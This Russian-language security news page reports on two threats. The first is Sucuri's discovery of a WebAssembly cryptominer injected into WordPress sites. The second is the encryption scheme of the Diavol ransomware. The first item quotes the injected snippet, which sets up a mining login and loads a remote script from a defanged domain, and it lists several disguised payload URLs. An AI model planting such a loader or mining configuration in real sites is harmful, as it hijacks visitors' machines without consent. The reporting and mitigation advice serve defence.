Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).
Anti-Malware Яндекс ДзенПодписывайтесь на канал "Anti-Malware" в Яндекс Дзен, чтобы первыми узнавать о новостях и наших эксклюзивных материалах по информационной безопасности.

Шифровальщик Diavol вернулся, сменив визуальные IoC

После долгого перерыва на VirusTotal вновь стали множиться образцы вымогательской программы Diavol. Анализ новейших из них показал, что вредонос стал 64-битным, сменил имя записки с требованием выкупа и добавляемое расширение, но файлы шифрует по-прежнему — с помощью XOR и RSA.

В ИБ-сообществе считают Diavol творением создателей TrickBot, влившихся в сообщество Conti. После распада преступного синдиката сторонний шифровальщик затих, а теперь, видимо, возобновил атаки. Специалисты по реверс-инжинирингу изучили новые семплы и пришли к выводу, что в некоторых случаях восстановление файлов все еще возможно.

В рамках обновления операторы зловреда изменили расширение, добавляемое к зашифрованным файлам, — вместо прежнего .lock64 используется .bully. Записка, оставляемая на машине жертвы, теперь именуется WARNING.txt (на самом деле новое название файла всплыло еще в ноябре прошлого года, а текст в нынешнем виде появился в минувшем июне).

Система шифрования данных осталась прежней — XOR + RSA, но она настолько необычна, что исследователи разобрали ее и в мартовском блоге, и сейчас. Перед началом процесса Diavol генерирует и сохраняет в теле ключ длиной 2048 байт для выполнения операций XOR над данными (уникален для каждой жертвы, но один для всех ее файлов).

Затем вредонос начинает в цикле дробить файлы на блоки по 2048 байт, отбрасывая остаток. После этого ко всем считанным блокам применяется XOR, итог записывается обратно в обрабатываемые файлы.

 

В конец файла записываются XOR-ключ, зашифрованный по RSA (публичный ключ хранится в коде зловреда), а также объем обработанных данных — число также кодируется разовым прогоном XOR.

К сожалению, это еще не все. Завершив первый этап, вредонос возвращается к началу файла и начинает считывать блоки 0x75 байт, шифровать их по RSA с возвратом результата в тот же файл, но без добавления ничего не значащих данных (паддинга).

Такой способ шифрования, по мнению исследователей, вселяет надежду. Получив XOR-ключ, можно без особого труда вернуть содержимое многих файлов — за исключением первых 1170 байт, которые придется отстраивать заново.

Напомним, жертвы Diavol могут также воспользоваться бесплатным декриптором, который уже доступен на сайте No More Ransom.

Anti-Malware Яндекс ДзенПодписывайтесь на канал "Anti-Malware" в Яндекс Дзен, чтобы первыми узнавать о новостях и наших эксклюзивных материалах по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru